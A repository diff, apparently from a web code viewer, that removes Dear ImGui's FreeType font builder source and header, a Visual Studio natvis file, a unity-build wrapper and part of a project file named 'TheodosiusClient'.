for (int output_i = 0; output_i < atlas->Fonts.Size && src_tmp.DstIndex == -1; output_i++)
|
||||
if (cfg.DstFont == atlas->Fonts[output_i])
|
||||
src_tmp.DstIndex = output_i;
|
||||
IM_ASSERT(src_tmp.DstIndex != -1); // cfg.DstFont not pointing within atlas->Fonts[] array?
|
||||
if (src_tmp.DstIndex == -1)
|
||||
return false;
|
||||
|
||||
// Load font
|
||||
if (!font_face.InitFont(ft_library, cfg, extra_flags))
|
||||
return false;
|
||||
|
||||
// Measure highest codepoints
|
||||
src_load_color |= (cfg.FontBuilderFlags & ImGuiFreeTypeBuilderFlags_LoadColor) != 0;
|
||||
ImFontBuildDstDataFT& dst_tmp = dst_tmp_array[src_tmp.DstIndex];
|
||||
src_tmp.SrcRanges = cfg.GlyphRanges ? cfg.GlyphRanges : atlas->GetGlyphRangesDefault();
|
||||
for (const ImWchar* src_range = src_tmp.SrcRanges; src_range[0] && src_range[1]; src_range += 2)
|
||||
src_tmp.GlyphsHighest = ImMax(src_tmp.GlyphsHighest, (int)src_range[1]);
|
||||
dst_tmp.SrcCount++;
|
||||
dst_tmp.GlyphsHighest = ImMax(dst_tmp.GlyphsHighest, src_tmp.GlyphsHighest);
|
||||
}
|
||||
|
||||
// 2. For every requested codepoint, check for their presence in the font data, and handle redundancy or overlaps between source fonts to avoid unused glyphs.
|
||||
int total_glyphs_count = 0;
|
||||
for (int src_i = 0; src_i < src_tmp_array.Size; src_i++)
|
||||
{
|
||||
ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i];
|
||||
ImFontBuildDstDataFT& dst_tmp = dst_tmp_array[src_tmp.DstIndex];
|
||||
src_tmp.GlyphsSet.Create(src_tmp.GlyphsHighest + 1);
|
||||
if (dst_tmp.GlyphsSet.Storage.empty())
|
||||
dst_tmp.GlyphsSet.Create(dst_tmp.GlyphsHighest + 1);
|
||||
|
||||
for (const ImWchar* src_range = src_tmp.SrcRanges; src_range[0] && src_range[1]; src_range += 2)
|
||||
for (int codepoint = src_range[0]; codepoint <= (int)src_range[1]; codepoint++)
|
||||
{
|
||||
if (dst_tmp.GlyphsSet.TestBit(codepoint)) // Don't overwrite existing glyphs. We could make this an option (e.g. MergeOverwrite)
|
||||
continue;
|
||||
uint32_t glyph_index = FT_Get_Char_Index(src_tmp.Font.Face, codepoint); // It is actually in the font? (FIXME-OPT: We are not storing the glyph_index..)
|
||||
if (glyph_index == 0)
|
||||
continue;
|
||||
|
||||
// Add to avail set/counters
|
||||
src_tmp.GlyphsCount++;
|
||||
dst_tmp.GlyphsCount++;
|
||||
src_tmp.GlyphsSet.SetBit(codepoint);
|
||||
dst_tmp.GlyphsSet.SetBit(codepoint);
|
||||
total_glyphs_count++;
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Unpack our bit map into a flat list (we now have all the Unicode points that we know are requested _and_ available _and_ not overlapping another)
|
||||
for (int src_i = 0; src_i < src_tmp_array.Size; src_i++)
|
||||
{
|
||||
ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i];
|
||||
src_tmp.GlyphsList.reserve(src_tmp.GlyphsCount);
|
||||
|
||||
IM_ASSERT(sizeof(src_tmp.GlyphsSet.Storage.Data[0]) == sizeof(ImU32));
|
||||
const ImU32* it_begin = src_tmp.GlyphsSet.Storage.begin();
|
||||
const ImU32* it_end = src_tmp.GlyphsSet.Storage.end();
|
||||
for (const ImU32* it = it_begin; it < it_end; it++)
|
||||
if (ImU32 entries_32 = *it)
|
||||
for (ImU32 bit_n = 0; bit_n < 32; bit_n++)
|
||||
if (entries_32 & ((ImU32)1 << bit_n))
|
||||
{
|
||||
ImFontBuildSrcGlyphFT src_glyph;
|
||||
src_glyph.Codepoint = (ImWchar)(((it - it_begin) << 5) + bit_n);
|
||||
//src_glyph.GlyphIndex = 0; // FIXME-OPT: We had this info in the previous step and lost it..
|
||||
src_tmp.GlyphsList.push_back(src_glyph);
|
||||
}
|
||||
src_tmp.GlyphsSet.Clear();
|
||||
IM_ASSERT(src_tmp.GlyphsList.Size == src_tmp.GlyphsCount);
|
||||
}
|
||||
for (int dst_i = 0; dst_i < dst_tmp_array.Size; dst_i++)
|
||||
dst_tmp_array[dst_i].GlyphsSet.Clear();
|
||||
dst_tmp_array.clear();
|
||||
|
||||
// Allocate packing character data and flag packed characters buffer as non-packed (x0=y0=x1=y1=0)
|
||||
// (We technically don't need to zero-clear buf_rects, but let's do it for the sake of sanity)
|
||||
ImVector<stbrp_rect> buf_rects;
|
||||
buf_rects.resize(total_glyphs_count);
|
||||
memset(buf_rects.Data, 0, (size_t)buf_rects.size_in_bytes());
|
||||
|
||||
// Allocate temporary rasterization data buffers.
|
||||
// We could not find a way to retrieve accurate glyph size without rendering them.
|
||||
// (e.g. slot->metrics->width not always matching bitmap->width, especially considering the Oblique transform)
|
||||
// We allocate in chunks of 256 KB to not waste too much extra memory ahead. Hopefully users of FreeType won't find the temporary allocations.
|
||||
const int BITMAP_BUFFERS_CHUNK_SIZE = 256 * 1024;
|
||||
int buf_bitmap_current_used_bytes = 0;
|
||||
ImVector<unsigned char*> buf_bitmap_buffers;
|
||||
buf_bitmap_buffers.push_back((unsigned char*)IM_ALLOC(BITMAP_BUFFERS_CHUNK_SIZE));
|
||||
|
||||
// 4. Gather glyphs sizes so we can pack them in our virtual canvas.
|
||||
// 8. Render/rasterize font characters into the texture
|
||||
int total_surface = 0;
|
||||
int buf_rects_out_n = 0;
|
||||
for (int src_i = 0; src_i < src_tmp_array.Size; src_i++)
|
||||
{
|
||||
ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i];
|
||||
ImFontConfig& cfg = atlas->ConfigData[src_i];
|
||||
if (src_tmp.GlyphsCount == 0)
|
||||
continue;
|
||||
|
||||
src_tmp.Rects = &buf_rects[buf_rects_out_n];
|
||||
buf_rects_out_n += src_tmp.GlyphsCount;
|
||||
|
||||
// Compute multiply table if requested
|
||||
const bool multiply_enabled = (cfg.RasterizerMultiply != 1.0f);
|
||||
unsigned char multiply_table[256];
|
||||
if (multiply_enabled)
|
||||
ImFontAtlasBuildMultiplyCalcLookupTable(multiply_table, cfg.RasterizerMultiply);
|
||||
|
||||
// Gather the sizes of all rectangles we will need to pack
|
||||
const int padding = atlas->TexGlyphPadding;
|
||||
for (int glyph_i = 0; glyph_i < src_tmp.GlyphsList.Size; glyph_i++)
|
||||
{
|
||||
ImFontBuildSrcGlyphFT& src_glyph = src_tmp.GlyphsList[glyph_i];
|
||||
|
||||
const FT_Glyph_Metrics* metrics = src_tmp.Font.LoadGlyph(src_glyph.Codepoint);
|
||||
if (metrics == NULL)
|
||||
continue;
|
||||
|
||||
// Render glyph into a bitmap (currently held by FreeType)
|
||||
const FT_Bitmap* ft_bitmap = src_tmp.Font.RenderGlyphAndGetInfo(&src_glyph.Info);
|
||||
IM_ASSERT(ft_bitmap);
|
||||
|
||||
// Allocate new temporary chunk if needed
|
||||
const int bitmap_size_in_bytes = src_glyph.Info.Width * src_glyph.Info.Height * 4;
|
||||
if (buf_bitmap_current_used_bytes + bitmap_size_in_bytes > BITMAP_BUFFERS_CHUNK_SIZE)
|
||||
{
|
||||
buf_bitmap_current_used_bytes = 0;
|
||||
buf_bitmap_buffers.push_back((unsigned char*)IM_ALLOC(BITMAP_BUFFERS_CHUNK_SIZE));
|
||||
}
|
||||
|
||||
// Blit rasterized pixels to our temporary buffer and keep a pointer to it.
|
||||
src_glyph.BitmapData = (unsigned int*)(buf_bitmap_buffers.back() + buf_bitmap_current_used_bytes);
|
||||
buf_bitmap_current_used_bytes += bitmap_size_in_bytes;
|
||||
src_tmp.Font.BlitGlyph(ft_bitmap, src_glyph.BitmapData, src_glyph.Info.Width, multiply_enabled ? multiply_table : NULL);
|
||||
|
||||
src_tmp.Rects[glyph_i].w = (stbrp_coord)(src_glyph.Info.Width + padding);
|
||||
src_tmp.Rects[glyph_i].h = (stbrp_coord)(src_glyph.Info.Height + padding);
|
||||
total_surface += src_tmp.Rects[glyph_i].w * src_tmp.Rects[glyph_i].h;
|
||||
}
|
||||
}
|
||||
|
||||
// We need a width for the skyline algorithm, any width!
|
||||
// The exact width doesn't really matter much, but some API/GPU have texture size limitations and increasing width can decrease height.
|
||||
// User can override TexDesiredWidth and TexGlyphPadding if they wish, otherwise we use a simple heuristic to select the width based on expected surface.
|
||||
const int surface_sqrt = (int)ImSqrt((float)total_surface) + 1;
|
||||
atlas->TexHeight = 0;
|
||||
if (atlas->TexDesiredWidth > 0)
|
||||
atlas->TexWidth = atlas->TexDesiredWidth;
|
||||
else
|
||||
atlas->TexWidth = (surface_sqrt >= 4096 * 0.7f) ? 4096 : (surface_sqrt >= 2048 * 0.7f) ? 2048 : (surface_sqrt >= 1024 * 0.7f) ? 1024 : 512;
|
||||
|
||||
// 5. Start packing
|
||||
// Pack our extra data rectangles first, so it will be on the upper-left corner of our texture (UV will have small values).
|
||||
const int TEX_HEIGHT_MAX = 1024 * 32;
|
||||
const int num_nodes_for_packing_algorithm = atlas->TexWidth - atlas->TexGlyphPadding;
|
||||
ImVector<stbrp_node> pack_nodes;
|
||||
pack_nodes.resize(num_nodes_for_packing_algorithm);
|
||||
stbrp_context pack_context;
|
||||
stbrp_init_target(&pack_context, atlas->TexWidth, TEX_HEIGHT_MAX, pack_nodes.Data, pack_nodes.Size);
|
||||
ImFontAtlasBuildPackCustomRects(atlas, &pack_context);
|
||||
|
||||
// 6. Pack each source font. No rendering yet, we are working with rectangles in an infinitely tall texture at this point.
|
||||
for (int src_i = 0; src_i < src_tmp_array.Size; src_i++)
|
||||
{
|
||||
ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i];
|
||||
if (src_tmp.GlyphsCount == 0)
|
||||
continue;
|
||||
|
||||
stbrp_pack_rects(&pack_context, src_tmp.Rects, src_tmp.GlyphsCount);
|
||||
|
||||
// Extend texture height and mark missing glyphs as non-packed so we won't render them.
|
||||
// FIXME: We are not handling packing failure here (would happen if we got off TEX_HEIGHT_MAX or if a single if larger than TexWidth?)
|
||||
for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++)
|
||||
if (src_tmp.Rects[glyph_i].was_packed)
|
||||
atlas->TexHeight = ImMax(atlas->TexHeight, src_tmp.Rects[glyph_i].y + src_tmp.Rects[glyph_i].h);
|
||||
}
|
||||
|
||||
// 7. Allocate texture
|
||||
atlas->TexHeight = (atlas->Flags & ImFontAtlasFlags_NoPowerOfTwoHeight) ? (atlas->TexHeight + 1) : ImUpperPowerOfTwo(atlas->TexHeight);
|
||||
atlas->TexUvScale = ImVec2(1.0f / atlas->TexWidth, 1.0f / atlas->TexHeight);
|
||||
if (src_load_color)
|
||||
{
|
||||
atlas->TexPixelsRGBA32 = (unsigned int*)IM_ALLOC(atlas->TexWidth * atlas->TexHeight * 4);
|
||||
memset(atlas->TexPixelsRGBA32, 0, atlas->TexWidth * atlas->TexHeight * 4);
|
||||
}
|
||||
else
|
||||
{
|
||||
atlas->TexPixelsAlpha8 = (unsigned char*)IM_ALLOC(atlas->TexWidth * atlas->TexHeight);
|
||||
memset(atlas->TexPixelsAlpha8, 0, atlas->TexWidth * atlas->TexHeight);
|
||||
}
|
||||
|
||||
// 8. Copy rasterized font characters back into the main texture
|
||||
// 9. Setup ImFont and glyphs for runtime
|
||||
bool tex_use_colors = false;
|
||||
for (int src_i = 0; src_i < src_tmp_array.Size; src_i++)
|
||||
{
|
||||
ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i];
|
||||
if (src_tmp.GlyphsCount == 0)
|
||||
continue;
|
||||
|
||||
// When merging fonts with MergeMode=true:
|
||||
// - We can have multiple input fonts writing into a same destination font.
|
||||
// - dst_font->ConfigData is != from cfg which is our source configuration.
|
||||
ImFontConfig& cfg = atlas->ConfigData[src_i];
|
||||
ImFont* dst_font = cfg.DstFont;
|
||||
|
||||
const float ascent = src_tmp.Font.Info.Ascender;
|
||||
const float descent = src_tmp.Font.Info.Descender;
|
||||
ImFontAtlasBuildSetupFont(atlas, dst_font, &cfg, ascent, descent);
|
||||
const float font_off_x = cfg.GlyphOffset.x;
|
||||
const float font_off_y = cfg.GlyphOffset.y + IM_ROUND(dst_font->Ascent);
|
||||
|
||||
const int padding = atlas->TexGlyphPadding;
|
||||
for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++)
|
||||
{
|
||||
ImFontBuildSrcGlyphFT& src_glyph = src_tmp.GlyphsList[glyph_i];
|
||||
stbrp_rect& pack_rect = src_tmp.Rects[glyph_i];
|
||||
IM_ASSERT(pack_rect.was_packed);
|
||||
if (pack_rect.w == 0 && pack_rect.h == 0)
|
||||
continue;
|
||||
|
||||
GlyphInfo& info = src_glyph.Info;
|
||||
IM_ASSERT(info.Width + padding <= pack_rect.w);
|
||||
IM_ASSERT(info.Height + padding <= pack_rect.h);
|
||||
const int tx = pack_rect.x + padding;
|
||||
const int ty = pack_rect.y + padding;
|
||||
|
||||
// Blit from temporary buffer to final texture
|
||||
size_t blit_src_stride = (size_t)src_glyph.Info.Width;
|
||||
size_t blit_dst_stride = (size_t)atlas->TexWidth;
|
||||
unsigned int* blit_src = src_glyph.BitmapData;
|
||||
if (atlas->TexPixelsAlpha8 != NULL)
|
||||
{
|
||||
unsigned char* blit_dst = atlas->TexPixelsAlpha8 + (ty * blit_dst_stride) + tx;
|
||||
for (int y = 0; y < info.Height; y++, blit_dst += blit_dst_stride, blit_src += blit_src_stride)
|
||||
for (int x = 0; x < info.Width; x++)
|
||||
blit_dst[x] = (unsigned char)((blit_src[x] >> IM_COL32_A_SHIFT) & 0xFF);
|
||||
}
|
||||
else
|
||||
{
|
||||
unsigned int* blit_dst = atlas->TexPixelsRGBA32 + (ty * blit_dst_stride) + tx;
|
||||
for (int y = 0; y < info.Height; y++, blit_dst += blit_dst_stride, blit_src += blit_src_stride)
|
||||
for (int x = 0; x < info.Width; x++)
|
||||
blit_dst[x] = blit_src[x];
|
||||
}
|
||||
|
||||
// Register glyph
|
||||
float x0 = info.OffsetX + font_off_x;
|
||||
float y0 = info.OffsetY + font_off_y;
|
||||
float x1 = x0 + info.Width;
|
||||
float y1 = y0 + info.Height;
|
||||
float u0 = (tx) / (float)atlas->TexWidth;
|
||||
float v0 = (ty) / (float)atlas->TexHeight;
|
||||
float u1 = (tx + info.Width) / (float)atlas->TexWidth;
|
||||
float v1 = (ty + info.Height) / (float)atlas->TexHeight;
|
||||
dst_font->AddGlyph(&cfg, (ImWchar)src_glyph.Codepoint, x0, y0, x1, y1, u0, v0, u1, v1, info.AdvanceX);
|
||||
|
||||
ImFontGlyph* dst_glyph = &dst_font->Glyphs.back();
|
||||
IM_ASSERT(dst_glyph->Codepoint == src_glyph.Codepoint);
|
||||
if (src_glyph.Info.IsColored)
|
||||
dst_glyph->Colored = tex_use_colors = true;
|
||||
}
|
||||
|
||||
src_tmp.Rects = NULL;
|
||||
}
|
||||
atlas->TexPixelsUseColors = tex_use_colors;
|
||||
|
||||
// Cleanup
|
||||
for (int buf_i = 0; buf_i < buf_bitmap_buffers.Size; buf_i++)
|
||||
IM_FREE(buf_bitmap_buffers[buf_i]);
|
||||
for (int src_i = 0; src_i < src_tmp_array.Size; src_i++)
|
||||
src_tmp_array[src_i].~ImFontBuildSrcDataFT();
|
||||
|
||||
ImFontAtlasBuildFinish(atlas);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// FreeType memory allocation callbacks
|
||||
static void* FreeType_Alloc(FT_Memory /*memory*/, long size)
|
||||
{
|
||||
return GImGuiFreeTypeAllocFunc((size_t)size, GImGuiFreeTypeAllocatorUserData);
|
||||
}
|
||||
|
||||
static void FreeType_Free(FT_Memory /*memory*/, void* block)
|
||||
{
|
||||
GImGuiFreeTypeFreeFunc(block, GImGuiFreeTypeAllocatorUserData);
|
||||
}
|
||||
|
||||
static void* FreeType_Realloc(FT_Memory /*memory*/, long cur_size, long new_size, void* block)
|
||||
{
|
||||
// Implement realloc() as we don't ask user to provide it.
|
||||
if (block == NULL)
|
||||
return GImGuiFreeTypeAllocFunc((size_t)new_size, GImGuiFreeTypeAllocatorUserData);
|
||||
|
||||
if (new_size == 0)
|
||||
{
|
||||
GImGuiFreeTypeFreeFunc(block, GImGuiFreeTypeAllocatorUserData);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (new_size > cur_size)
|
||||
{
|
||||
void* new_block = GImGuiFreeTypeAllocFunc((size_t)new_size, GImGuiFreeTypeAllocatorUserData);
|
||||
memcpy(new_block, block, (size_t)cur_size);
|
||||
GImGuiFreeTypeFreeFunc(block, GImGuiFreeTypeAllocatorUserData);
|
||||
return new_block;
|
||||
}
|
||||
|
||||
return block;
|
||||
}
|
||||
|
||||
static bool ImFontAtlasBuildWithFreeType(ImFontAtlas* atlas)
|
||||
{
|
||||
// FreeType memory management: https://www.freetype.org/freetype2/docs/design/design-4.html
|
||||
FT_MemoryRec_ memory_rec = {};
|
||||
memory_rec.user = NULL;
|
||||
memory_rec.alloc = &FreeType_Alloc;
|
||||
memory_rec.free = &FreeType_Free;
|
||||
memory_rec.realloc = &FreeType_Realloc;
|
||||
|
||||
// https://www.freetype.org/freetype2/docs/reference/ft2-module_management.html#FT_New_Library
|
||||
FT_Library ft_library;
|
||||
FT_Error error = FT_New_Library(&memory_rec, &ft_library);
|
||||
if (error != 0)
|
||||
return false;
|
||||
|
||||
// If you don't call FT_Add_Default_Modules() the rest of code may work, but FreeType won't use our custom allocator.
|
||||
FT_Add_Default_Modules(ft_library);
|
||||
|
||||
bool ret = ImFontAtlasBuildWithFreeTypeEx(ft_library, atlas, atlas->FontBuilderFlags);
|
||||
FT_Done_Library(ft_library);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
const ImFontBuilderIO* ImGuiFreeType::GetBuilderForFreeType()
|
||||
{
|
||||
static ImFontBuilderIO io;
|
||||
io.FontBuilder_Build = ImFontAtlasBuildWithFreeType;
|
||||
return &io;
|
||||
}
|
||||
|
||||
void ImGuiFreeType::SetAllocatorFunctions(void* (*alloc_func)(size_t sz, void* user_data), void (*free_func)(void* ptr, void* user_data), void* user_data)
|
||||
{
|
||||
GImGuiFreeTypeAllocFunc = alloc_func;
|
||||
GImGuiFreeTypeFreeFunc = free_func;
|
||||
GImGuiFreeTypeAllocatorUserData = user_data;
|
||||
}
|
@ -1,50 +0,0 @@
|
||||
// dear imgui: FreeType font builder (used as a replacement for the stb_truetype builder)
|
||||
// (headers)
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "imgui.h" // IMGUI_API
|
||||
|
||||
// Forward declarations
|
||||
struct ImFontAtlas;
|
||||
struct ImFontBuilderIO;
|
||||
|
||||
// Hinting greatly impacts visuals (and glyph sizes).
|
||||
// - By default, hinting is enabled and the font's native hinter is preferred over the auto-hinter.
|
||||
// - When disabled, FreeType generates blurrier glyphs, more or less matches the stb_truetype.h
|
||||
// - The Default hinting mode usually looks good, but may distort glyphs in an unusual way.
|
||||
// - The Light hinting mode generates fuzzier glyphs but better matches Microsoft's rasterizer.
|
||||
// You can set those flags globaly in ImFontAtlas::FontBuilderFlags
|
||||
// You can set those flags on a per font basis in ImFontConfig::FontBuilderFlags
|
||||
enum ImGuiFreeTypeBuilderFlags
|
||||
{
|
||||
ImGuiFreeTypeBuilderFlags_NoHinting = 1 << 0, // Disable hinting. This generally generates 'blurrier' bitmap glyphs when the glyph are rendered in any of the anti-aliased modes.
|
||||
ImGuiFreeTypeBuilderFlags_NoAutoHint = 1 << 1, // Disable auto-hinter.
|
||||
ImGuiFreeTypeBuilderFlags_ForceAutoHint = 1 << 2, // Indicates that the auto-hinter is preferred over the font's native hinter.
|
||||
ImGuiFreeTypeBuilderFlags_LightHinting = 1 << 3, // A lighter hinting algorithm for gray-level modes. Many generated glyphs are fuzzier but better resemble their original shape. This is achieved by snapping glyphs to the pixel grid only vertically (Y-axis), as is done by Microsoft's ClearType and Adobe's proprietary font renderer. This preserves inter-glyph spacing in horizontal text.
|
||||
ImGuiFreeTypeBuilderFlags_MonoHinting = 1 << 4, // Strong hinting algorithm that should only be used for monochrome output.
|
||||
ImGuiFreeTypeBuilderFlags_Bold = 1 << 5, // Styling: Should we artificially embolden the font?
|
||||
ImGuiFreeTypeBuilderFlags_Oblique = 1 << 6, // Styling: Should we slant the font, emulating italic style?
|
||||
ImGuiFreeTypeBuilderFlags_Monochrome = 1 << 7, // Disable anti-aliasing. Combine this with MonoHinting for best results!
|
||||
ImGuiFreeTypeBuilderFlags_LoadColor = 1 << 8, // Enable FreeType color-layered glyphs
|
||||
ImGuiFreeTypeBuilderFlags_Bitmap = 1 << 9 // Enable FreeType bitmap glyphs
|
||||
};
|
||||
|
||||
namespace ImGuiFreeType
|
||||
{
|
||||
// This is automatically assigned when using '#define IMGUI_ENABLE_FREETYPE'.
|
||||
// If you need to dynamically select between multiple builders:
|
||||
// - you can manually assign this builder with 'atlas->FontBuilderIO = ImGuiFreeType::GetBuilderForFreeType()'
|
||||
// - prefer deep-copying this into your own ImFontBuilderIO instance if you use hot-reloading that messes up static data.
|
||||
IMGUI_API const ImFontBuilderIO* GetBuilderForFreeType();
|
||||
|
||||
// Override allocators. By default ImGuiFreeType will use IM_ALLOC()/IM_FREE()
|
||||
// However, as FreeType does lots of allocations we provide a way for the user to redirect it to a separate memory heap if desired.
|
||||
IMGUI_API void SetAllocatorFunctions(void* (*alloc_func)(size_t sz, void* user_data), void (*free_func)(void* ptr, void* user_data), void* user_data = NULL);
|
||||
|
||||
// Obsolete names (will be removed soon)
|
||||
// Prefer using '#define IMGUI_ENABLE_FREETYPE'
|
||||
#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS
|
||||
static inline bool BuildFontAtlas(ImFontAtlas* atlas, unsigned int flags = 0) { atlas->FontBuilderIO = GetBuilderForFreeType(); atlas->FontBuilderFlags = flags; return atlas->Build(); }
|
||||
#endif
|
||||
}
|
@ -1,4 +0,0 @@
|
||||
|
||||
Natvis file to describe dear imgui types in the Visual Studio debugger.
|
||||
With this, types like ImVector<> will be displayed nicely in the debugger.
|
||||
You can include this file a Visual Studio project file, or install it in Visual Studio folder.
|
@ -1,49 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
|
||||
<!-- natvis file for Visual Studio debugger (you can include this in a project file, or install in visual studio folder) -->
|
||||
|
||||
<AutoVisualizer xmlns="http://schemas.microsoft.com/vstudio/debugger/natvis/2010">
|
||||
|
||||
<Type Name="ImVector<*>">
|
||||
<DisplayString>{{Size={Size} Capacity={Capacity}}}</DisplayString>
|
||||
<Expand>
|
||||
<ArrayItems>
|
||||
<Size>Size</Size>
|
||||
<ValuePointer>Data</ValuePointer>
|
||||
</ArrayItems>
|
||||
</Expand>
|
||||
</Type>
|
||||
|
||||
<Type Name="ImSpan<*>">
|
||||
<DisplayString>{{Size={DataEnd-Data} }}</DisplayString>
|
||||
<Expand>
|
||||
<ArrayItems>
|
||||
<Size>DataEnd-Data</Size>
|
||||
<ValuePointer>Data</ValuePointer>
|
||||
</ArrayItems>
|
||||
</Expand>
|
||||
</Type>
|
||||
|
||||
<Type Name="ImVec2">
|
||||
<DisplayString>{{x={x,g} y={y,g}}}</DisplayString>
|
||||
</Type>
|
||||
|
||||
<Type Name="ImVec4">
|
||||
<DisplayString>{{x={x,g} y={y,g} z={z,g} w={w,g}}}</DisplayString>
|
||||
</Type>
|
||||
|
||||
<Type Name="ImRect">
|
||||
<DisplayString>{{Min=({Min.x,g} {Min.y,g}) Max=({Max.x,g} {Max.y,g}) Size=({Max.x-Min.x,g} {Max.y-Min.y,g})}}</DisplayString>
|
||||
<Expand>
|
||||
<Item Name="Min">Min</Item>
|
||||
<Item Name="Max">Max</Item>
|
||||
<Item Name="[Width]">Max.x - Min.x</Item>
|
||||
<Item Name="[Height]">Max.y - Min.y</Item>
|
||||
</Expand>
|
||||
</Type>
|
||||
|
||||
<Type Name="ImGuiWindow">
|
||||
<DisplayString>{{Name {Name,s} Active {(Active||WasActive)?1:0,d} Child {(Flags & 0x01000000)?1:0,d} Popup {(Flags & 0x04000000)?1:0,d} Hidden {(Hidden)?1:0,d}}</DisplayString>
|
||||
</Type>
|
||||
|
||||
</AutoVisualizer>
|
@ -1,18 +0,0 @@
|
||||
// dear imgui: single-file wrapper include
|
||||
// We use this to validate compiling all *.cpp files in a same compilation unit.
|
||||
// Users of that technique (also called "Unity builds") can generally provide this themselves,
|
||||
// so we don't really recommend you use this in your projects.
|
||||
|
||||
// Do this:
|
||||
// #define IMGUI_IMPLEMENTATION
|
||||
// Before you include this file in *one* C++ file to create the implementation.
|
||||
// Using this in your project will leak the contents of imgui_internal.h and ImVec2 operators in this compilation unit.
|
||||
#include "../../imgui.h"
|
||||
|
||||
#ifdef IMGUI_IMPLEMENTATION
|
||||
#include "../../imgui.cpp"
|
||||
#include "../../imgui_demo.cpp"
|
||||
#include "../../imgui_draw.cpp"
|
||||
#include "../../imgui_tables.cpp"
|
||||
#include "../../imgui_widgets.cpp"
|
||||
#endif
|
@ -1,175 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{490558cd-7fd5-4e6b-af9a-334eefa86ecd}</ProjectGuid>
|
||||
<RootNamespace>TheodosiusClient</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
